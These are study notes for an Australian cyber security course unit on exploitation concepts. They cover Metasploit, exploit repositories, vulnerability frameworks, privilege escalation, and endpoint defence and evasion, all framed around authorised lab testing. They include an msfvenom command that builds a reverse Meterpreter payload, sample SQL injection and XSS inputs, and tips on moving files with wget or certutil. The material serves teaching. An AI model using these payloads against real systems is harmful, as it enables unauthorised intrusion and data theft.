VU23226 Test concepts and procedures for cyber exploitation

Exploitation is the part of cyber security that looks the most like the films and is the most misunderstood. The skill being assessed is not breaking into things; it is testing, in a controlled way, whether a known weakness can actually be used, and then reasoning about how a defender would catch or stop it. A penetration tester and a criminal use many of the same tools; the whole difference is authorisation and intent. The VU23223 legislation unit is blunt about this, and it holds here without exception: it is illegal to test, probe or exploit any system in Australia without express written permission from the owner. Everything on this page assumes an isolated lab of virtual machines that you own, or a target you have written authority to test.

With that fixed, the unit has a clean logic. An attacker rarely starts with an exploit; they start with information. They find out what is running, match that against known weaknesses, choose a way in, use it to get a foothold, then work to turn a small amount of access into a large amount, all while trying not to trip the defences. A tester walks the same path deliberately so the organisation can close each step. Learn the path once and every tool in the unit finds its place on it.

flowchart LR
  Recon["Reconnaissance<br/>find the targets"] --> Enum["Enumeration<br/>what is running, which version"]
  Enum --> Match["Match to known<br/>vulnerabilities (CVE)"]
  Match --> Exploit["Exploit<br/>gain a foothold / shell"]
  Exploit --> Post["Post-exploitation<br/>enumerate from inside"]
  Post --> PrivEsc["Privilege escalation<br/>user to root / SYSTEM"]
  PrivEsc --> Persist["Persistence and<br/>defence evasion"]
  Persist -.->|defender's job| Detect["Detect, block,<br/>remediate at every step"]

The two-scenario evidence requirement maps onto this directly: the unit asks you to run one exploit against an operating system and one against an application, each end to end. Keep that lifecycle in view and the assessment tasks stop being a list of disconnected labs.

An exploit is a piece of software, some data, or a sequence of commands that takes advantage of a bug or misconfiguration to make a system behave in a way it was not meant to. A framework is what turns a shoebox of one-off exploit scripts into something you can manage: a catalogue of exploits, a matching set of payloads, and the plumbing to configure, launch and handle the result.

Metasploit is the framework the unit is built around. Its console, msfconsole, is the standard way in, and its parts are worth naming because they recur through every lab:

Exploit module: the code that triggers a specific vulnerability on a target.

Payload: what runs on the target after the exploit succeeds. A payload can be as small as a single command or as capable as a full remote-control agent.

Meterpreter: Metasploit's flagship payload, an in-memory agent that gives file access, screenshots, keylogging, pivoting and privilege-escalation helpers, and is designed to stay off disk to make it harder to spot.

Encoder and evasion modules: reshape a payload so it is less likely to match a known signature. Encoding is not encryption and modern defences are not much fooled by it on its own; more on that below.

Auxiliary and post modules: scanners, fuzzers and the post-exploitation tools you run once you already have a session.

A session is the live connection back from a compromised host. The typical loop in the labs is: choose an exploit, set its options (which target, which port), choose a payload, run it, and if it lands you get a session to work from.

Building payloads with msfvenom. The unit's knowledge evidence asks you to identify methods of building payloads, and the tool for that is msfvenom, which generates a standalone payload in whatever format you need (a Windows .exe, a Linux ELF, a php or aspx web shell, shellcode). The Assessor Guide's worked example builds a reverse Meterpreter payload for a 64-bit Windows target:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe -o shell.exe

Reading the switches is the learning point: -p selects the payload (a Windows, 64-bit, Meterpreter, reverse-TCP payload); LHOST and LPORT are the attacker's address and port that the payload will call back to; -f sets the output format; -o writes the file. Which brings up the difference between a bind shell and a reverse shell, because it explains a lot about why defences are shaped the way they are.

Bind shell: the payload opens a listening port on the target and waits for the attacker to connect in. Simple, but inbound connections to a random port are exactly what firewalls block, so it often fails against anything defended.

Reverse shell: the payload makes the target connect out to the attacker. Outbound connections, especially on common ports, are usually allowed, which is why reverse shells are the default choice. The attacker sets up a handler (in Metasploit, the multi/handler module) to receive the call.

sequenceDiagram
  participant A as Attacker (Kali, LHOST)
  participant T as Target
  A->>A: msfvenom builds payload; start multi/handler on LPORT
  A->>T: deliver payload (lab: web server, share)
  T->>T: payload runs
  T->>A: target connects OUT to attacker (reverse_tcp)
  A-->>T: Meterpreter session established

That outbound-call design is why network defence has shifted from just blocking inbound traffic to watching outbound traffic for the tell-tale signs of a callback.

Shells for different environments. The unit wants shells for a range of environments identified and explained: a native command shell, a Meterpreter session, and web shells written for whatever the target web server runs (an aspx shell for IIS, a php shell for a LAMP stack, a jsp shell for a Java server). Once a shell exists, moving files in and out of the target is part of the tradecraft the unit names: pulling tools onto the target and pulling loot off it, using anything from Meterpreter's own upload and download to a quick python3 -m http.server on the attacker's side and a wget or certutil on the target's.

Exploit repositories. Element 1.2 is about knowing where public exploits live and how to use them. The ones the unit names, plus the ones you will actually reach for:

Exploit-DB (exploit-db.com) is the long-standing public archive of proof-of-concept exploits, maintained by OffSec. searchsploit is its command-line companion, shipped with Kali, so you can search the archive offline and copy an exploit straight out of it. Metasploit's own search command looks across the modules built into the framework. GitHub is where a great deal of current proof-of-concept code appears first, often within days of a vulnerability being disclosed.

Deliberate flaws in public exploits. Element 1.6 is easy to skim and worth slowing down for, because it is a real-world safety habit. Public exploit code is not automatically trustworthy. Some proof-of-concept scripts are deliberately booby-trapped: they look like a working exploit but instead run a payload against the person who downloaded them, or quietly phone home. The remediation is standard hygiene that applies every time you use someone else's exploit: read the code before you run it, understand what each line does, watch for obfuscated or base64-encoded blobs and unexpected outbound connections, and run it first in a snapshot you can throw away. The lesson generalises; the same caution is why supply-chain risk has climbed the charts, discussed later under web and software risks.

Element 2 is the vocabulary that lets a tester or defender talk about exploits precisely instead of by anecdote. Four naming and scoring systems do most of the work, and the value is in how they connect.

A vulnerability is a specific flaw in a specific product. A weakness is the underlying type of mistake that produced it. A tactic or technique is what an adversary does with it. Keeping those three levels separate is the whole point of the frameworks.

CVE, Common Vulnerabilities and Exposures: a unique identifier for one specific, publicly disclosed vulnerability, for example CVE-2017-0144 (the SMB flaw behind EternalBlue). The CVE list is run by MITRE and mirrored in the United States National Vulnerability Database (NVD, nvd.nist.gov), which adds severity scores and other detail.

CWE, Common Weakness Enumeration: the category of mistake behind a CVE, for example CWE-89 (SQL injection) or CWE-79 (cross-site scripting). Many CVEs share one CWE. MITRE publishes an annual CWE Top 25 Most Dangerous Software Weaknesses.

CVSS, Common Vulnerability Scoring System: a 0 to 10 severity score for a vulnerability, based on how easy it is to exploit and how much damage it does.

MITRE ATT&CK: a large, structured knowledge base of the real tactics and techniques adversaries use, organised as tactics (the goal, such as privilege escalation) and techniques (the method). It is the common TTP framework the unit points at, and it is what lets you describe an exploit in terms of behaviour rather than a single product bug.

The relationship is the exam-worthy part: a CWE is the class of flaw, a CVE is one instance of it in a product, CVSS says how bad that instance is, and ATT&CK describes what an adversary does once they use it.

flowchart TD
  CWE["CWE-89<br/>SQL Injection (weakness class)"] --> CVE["CVE-2023-XXXXX<br/>SQLi in Product Y (one instance)"]
  CVE --> CVSS["CVSS score<br/>how severe this instance is"]
  CVE --> ATTACK["MITRE ATT&CK<br/>technique used with it, e.g. T1190 Exploit Public-Facing Application"]

Update, current as at August 2026. Two of these have moved since the Assessor Guide was written, and the current figures are worth teaching. CVSS version 4.0 was released by FIRST in November 2023 and is now the current standard, replacing the version 3.1 that the older labs assume; it changed the metric groups and the way scores are presented, so a score quoted today should say which version it uses. The CWE Top 25 is refreshed yearly: in the 2024 list (published by MITRE and CISA in November 2024) cross-site scripting (CWE-79) took the top spot, out-of-bounds write (CWE-787) dropped to second, and SQL injection (CWE-89) held third. The Assessor Guide's answer of "out-of-bounds write, cross-site scripting, SQL injection" reflects the 2023 ordering; the current three are the same weaknesses in a different order, which is a good illustration of why you cite the year when you quote the list. The Assessor Guide also names the Open Source Vulnerability Database (OSVDB) as a repository; OSVDB shut down in 2016, and the current open equivalents are the OSV project (osv.dev) and GitHub's Advisory Database.

Enumeration is the deliberate, thorough information-gathering that makes an exploit possible, and Element 3 treats it as a skill in its own right. You cannot pick the right exploit until you know what the target runs, and half of testing is patient listing before anything is fired.

Network and port discovery. Nmap is the standard scanner: it finds live hosts, open ports, the services behind them and, with version detection, often the exact software and version. Zenmap is its graphical front end, used in the labs. A service version is gold, because it is what you feed to a CVE search: "Apache 2.4.49" or "vsftpd 2.3.4" turns straight into a list of known vulnerabilities.

Vulnerability scanners. Where Nmap tells you what is there, a vulnerability scanner tells you what is wrong with it by checking each service against a database of known flaws. The unit names Nessus (Tenable's widely used commercial scanner, free for limited home use) and OpenVAS, now delivered as the Greenbone Vulnerability Management (GVM) suite and the standard open-source choice. A scanner produces the raw material for the whole exercise: a ranked list of findings with CVE references and severity scores.

Enumeration from a foothold. Elements 3.3 and 3.6 are about what you do once you are already inside, on a normal user account, looking for the way up. This is post-exploitation enumeration, and it feeds directly into privilege escalation below. Windows Exploit Suggester is the classic example the unit names: it takes the output of a Windows systeminfo command and lists the missing patches and the exploits that match them, so the results depend entirely on how well patched the machine is.

Stealthy, living-off-the-land enumeration. Element 3.6 asks you to use tools already built into the target to enumerate quietly. This is "living off the land": using PowerShell, net commands, WMI or standard Linux utilities that are already present and trusted, rather than uploading a noisy scanner that a defender would notice. It is the same idea that makes intrusions hard to spot, seen from the attacker's side, and it is why the defensive half of this unit cares so much about command-line logging.

Website enumeration. Element 3.5, potential exploits in web sites, overlaps with VU23222 and is exercised in this unit's own website lab against a deliberately vulnerable app. Three classic web flaws carry the teaching:

Insecure Direct Object Reference (IDOR): the application trusts a value in the URL (an item or record number) and serves whatever you ask for, so changing id=7 to id=8 shows you a record you were never meant to see. The fix is server-side authorisation checks on every request, not just hiding the link.

SQL injection (SQLi): user input is passed into a database query without being separated from the query's code, so an input like coffee' or '1'='1'# makes the "always true" condition return every row. SQLmap automates the discovery and exploitation of this; the fix is parameterised queries.

Cross-site scripting (XSS): the application reflects user input back into a page without sanitising it, so an input like <script>alert('hi')</script> runs in the next visitor's browser, where it can steal session cookies or deface the page. The fix is output encoding and a content security policy.

Update, current as at August 2026. The Assessor Guide teaches against the OWASP Top 10 2021, where injection had dropped to third place. OWASP published a new Top 10 for 2025 (finalised in November 2025 after a release-candidate period), and it reshapes the list: Broken Access Control stays at number one, Security Misconfiguration rises to two, and a new category, Software Supply Chain Failures, enters at three, reflecting the risk in dependencies and build pipelines noted earlier. Injection sits at A05 in the 2025 list and still covers SQLi and XSS, so the three flaws above remain core; the framing around them has simply broadened. A second new category, Mishandling of Exceptional Conditions, also joins. When you cite the OWASP Top 10, name the year, because the numbering has changed twice in the life of this course.

Element 4 is the heart of the unit's post-exploitation half. A foothold is almost always a low-privilege one: a normal user account, a limited web-server account. Privilege escalation is the work of turning that into administrator or root, and it depends entirely on understanding how the operating system hands out privilege in the first place.

How access is controlled. On Windows, every process runs with a security token that carries the user's identity and privileges; administrator actions are gated, and since Windows Vista, User Account Control separates a standard token from an administrator token even for admin users. On Linux, privilege turns on the user and group model, the file-permission bits, the root account, and sudo, which grants specific elevated commands to specific users. Escalation is nearly always about finding a place where these controls have been set up loosely.

LinPEAS and WinPEAS. These are the enumeration scripts the unit names, and they belong to the PEASS-ng project (Privilege Escalation Awesome Scripts Suite). LinPEAS searches a Linux, Unix or macOS host for paths to escalate privileges; WinPEAS does the same for Windows. They automate the tedious checking of hundreds of possible misconfigurations and colour-code what they find by how promising it looks. On Kali they install from the peass package. They do not exploit anything; they hand you a ranked list of things to try.

The named techniques. The knowledge evidence lists specific escalation routes, and each is a type of misconfiguration:

Linux sudo exploitation. A misconfigured sudo can let a user run a command as root that was never meant to give a full shell; and sudo itself has had serious bugs, the best known being CVE-2021-3156 ("Baron Samedit"), a heap overflow that let any local user become root on a vast number of systems regardless of sudo configuration. It is patched, but it is the textbook case of why the version of a privileged binary matters.

Linux SUID and SGID. The SUID bit makes a program run as its owner rather than as the user who launched it, and SGID does the same for the group. It exists for good reasons (a normal user needs elevated rights to change their own password), but a SUID binary that can be made to run arbitrary commands, or a custom SUID script, becomes a straight path to root. Enumerating SUID binaries is one of the first things LinPEAS does, and the GTFOBins project (gtfobins.github.io) catalogues which standard binaries can be abused this way.

Windows unquoted service paths. If a Windows service's executable path contains spaces and is not wrapped in quotes, Windows tries each partial path in turn when starting it. An attacker who can write a malicious executable to the right earlier location gets it run with the service's privileges, often SYSTEM. The fix is quoting service paths and locking down the folders they sit in.

Password spraying. Rather than many passwords against one account (which locks it out), spraying tries one or two common passwords against many accounts, staying under lockout thresholds. It is a privilege and access technique as much as an escalation one, and Hydra is the tool the unit names for the online guessing side; John the Ripper is its offline counterpart, cracking password hashes you have already obtained.

Windows Alternate Data Streams. The Assessor Guide raises NTFS Alternate Data Streams as a Windows feature that can be abused: NTFS can attach a hidden extra data stream to a file (written as file.txt:hidden), and malware has used this to hide code behind an innocent-looking file. It is more a persistence and hiding technique than an escalation one, but it belongs to the same family of "features that also help an attacker".

Architecting an infiltrated network for defence. Elements 4.2 and 4.3 turn the picture around: knowing how privilege is escalated tells you how to design against it. The defensive answers are least privilege (give every account and service the minimum it needs), separation of duties, tiered administration so that a compromised workstation cannot reach domain-admin credentials, and network segmentation so that a foothold in one place does not open the whole estate. This is where zero trust, in the next section, does its work.

Element 5 closes the loop: having seen how exploitation and escalation work, the unit asks what stops them in real time, and how attackers try to slip past.

Zero trust networking. The unit's first knowledge item, and the current organising idea for defence. Zero trust means no user, device or request is trusted by default merely because it is inside the network; every access is verified explicitly, granted with least privilege, and treated as though the network is already breached. It is the direct answer to the lateral-movement problem this unit demonstrates: if a foothold buys an attacker nothing by default, the escalation and pivoting steps above become far harder. The United States NIST published the reference model as SP 800-207.

The endpoint defences. The unit asks for technologies that defend workstations and servers, and the family has grown from simple antivirus into a layered stack:

Endpoint Protection Platform (EPP): traditional prevention, signature and policy based, blocking known-bad files before they run.

Endpoint Detection and Response (EDR): the current standard, watching behaviour on the endpoint (what a process does, not just what it is) so it can catch novel and fileless attacks, and giving responders the telemetry to investigate.

Extended Detection and Response (XDR): EDR joined up with network, identity, email and cloud signals into one correlated view.

Host firewalls, application control and the Australian Signals Directorate's Essential Eight sit alongside these; the Essential Eight in particular maps onto much of what this unit attacks, since application control, patching and restricting administrative privileges each close one of the escalation routes above.

Signatures versus behaviour. Element 5.2 is about why the older model struggles. Signature detection matches a file against a database of known-bad patterns, and it is fast and precise but blind to anything new. Heuristic and behavioural analysis was the response: static heuristics decompile a suspect file and compare its structure to known malware, while behavioural (dynamic) analysis watches what a program actually does when it runs and flags the actions, not the bytes. EDR is behavioural detection at scale, which is why a payload that would sail past a signature scanner still gets caught the moment it spawns a suspicious child process or makes an unexpected outbound call.

Evasion, and its limits. Elements 5.3 and 5.4 ask about defence evasion and how well it works, and the honest teaching point is that the old tricks work far less well than the labs imply:

Obfuscation changes malware's appearance while keeping its behaviour, so its signature no longer matches even though it does the same thing. Encoders and packers (compressing or encrypting the payload so it is unwrapped only at run time) are the classic tools, and Metasploit ships them. Against pure signature detection they can help; against behavioural EDR they mostly do not, because the payload still has to act, and the action is what is watched.

On Windows, the Antimalware Scan Interface (AMSI) lets defences inspect scripts and payloads at the moment they are executed in memory, after any packing has been undone, which closes much of the gap that in-memory payloads like Meterpreter once exploited. Evasion is now a genuine arms race rather than a solved trick, and the realistic lesson for a tester is that a raw msfvenom payload is caught immediately by any current EDR; getting one past modern defences is a specialist craft, and its difficulty is itself the measure of how far endpoint defence has come.

The persistence idea rounds this out: malware that survives a reboot (by installing itself as a service, a scheduled task or a registry run key) is more useful to an attacker and more visible to a defender, because those persistence mechanisms are exactly what EDR and the Windows logs described in VU23225 are tuned to watch.

Update, current as at August 2026. The newest turn in this arms race runs in both directions. Attackers are beginning to use large language models to speed up reconnaissance, write and adapt exploit code, and craft more convincing phishing, and a wave of AI-assisted penetration-testing agents (open-source projects such as PentestGPT among them) now attempt to automate parts of the testing workflow. Defenders are folding the same models into detection and triage. For a student the sober reading is the one that holds across this whole unit: these tools speed up the work at both ends, but they do not remove the need to understand what is happening underneath, and an automated result you cannot explain is a liability rather than an asset.

Everything in this unit needs a lab that is sealed off from anything real. The safe pattern is virtual machines on an isolated, host-only virtual network, snapshotted before each experiment so a deliberately broken machine is rolled back in seconds. A hypervisor such as VirtualBox (free) or VMware Workstation runs the guests; the attacker machine is Kali Linux, and the targets are purpose-built vulnerable images.

The classic targets the labs use are Metasploitable 2 (a Linux box seeded with vulnerable services), a deliberately vulnerable web application such as xVWA or DVWA, and old Windows builds. A note on those Windows targets: the Assessor Guide uses Windows 7 and Windows XP because they are reliably exploitable by teaching exploits like EternalBlue (the 2017 SMBv1 attack, CVE-2017-0144). That is legitimate for a lab; the caution is only that both operating systems are long past end of support (Windows 7 in January 2020, Windows XP in 2014), so they are lab curiosities, not anything you would meet defended in the field, and they must never touch a real network.

Update, current as at August 2026. Two tool notes for anyone rebuilding the labs. Armitage, the graphical front end the host-exploitation lab drives, is effectively unmaintained; its open-source development stopped years ago and it is no longer a natural choice, so working directly in msfconsole, or with a current interface, is the sensible path, and the underlying Metasploit skills transfer either way. Kali itself has moved well past the 2018 and 2022 releases the guide mentions (the current series is Kali 2025.x), and one command has changed underneath the labs: on current Kali and Debian, apt update only refreshes the package list, and apt upgrade performs the upgrade, so the guide's older apt wording needs that adjustment. For self-paced practice without building every target by hand, TryHackMe (tryhackme.com) and Hack The Box (hackthebox.com) both run guided exploitation, privilege-escalation and web-attack labs in the browser, which is the low-friction way to exercise this unit's outcomes safely.

These notes were built for personal professional development from current, authoritative sources rather than transcribed from the training package. The unit scope, elements and performance criteria, knowledge and performance evidence, and assessment conditions are taken from the VU23226 Assessor Guide (v4.4, October 2024) and the CDU TAFE course document for 22603VIC Certificate IV in Cyber Security (V001), both held in the vault, cross-checked against the Victorian Government accredited-course document for 22603VIC (education.vic.gov.au; accreditation 2023 to 2027). Tool and framework material is grounded in the projects' own documentation: OffSec's Metasploit Unleashed and Exploit-DB (offsec.com, exploit-db.com), the Metasploit Framework docs, the Nmap reference (nmap.org), Tenable Nessus and Greenbone GVM/OpenVAS documentation, and the PEASS-ng and GTFOBins projects. The vocabulary frameworks are cited from their sources: the CVE and CWE programs and the CWE Top 25 (cwe.mitre.org, MITRE and CISA, 2024 list published November 2024), the United States National Vulnerability Database (nvd.nist.gov), MITRE ATT&CK (attack.mitre.org), and CVSS version 4.0 from FIRST (first.org, released November 2023). Web-risk currency draws on the OWASP Top 10 2025 (owasp.org/Top10/2025, finalised November 2025) alongside the 2021 list the Assessor Guide uses. Defence material draws on NIST SP 800-207 Zero Trust Architecture (nist.gov), the Australian Signals Directorate's Essential Eight (cyber.gov.au), and Microsoft's AMSI documentation (learn.microsoft.com). The EternalBlue and CVE references are from the NVD entries for CVE-2017-0144 and CVE-2021-3156. The AI-assisted testing note draws on current tool surveys and the PentestGPT project (github.com), read August 2026. Lab and practice references point to virtualbox.org, vmware.com, tryhackme.com and hackthebox.com. Web sources were read in August 2026; the OSVDB shutdown (2016) and the Windows 7 and XP end-of-support dates are historical and not tied to a single page.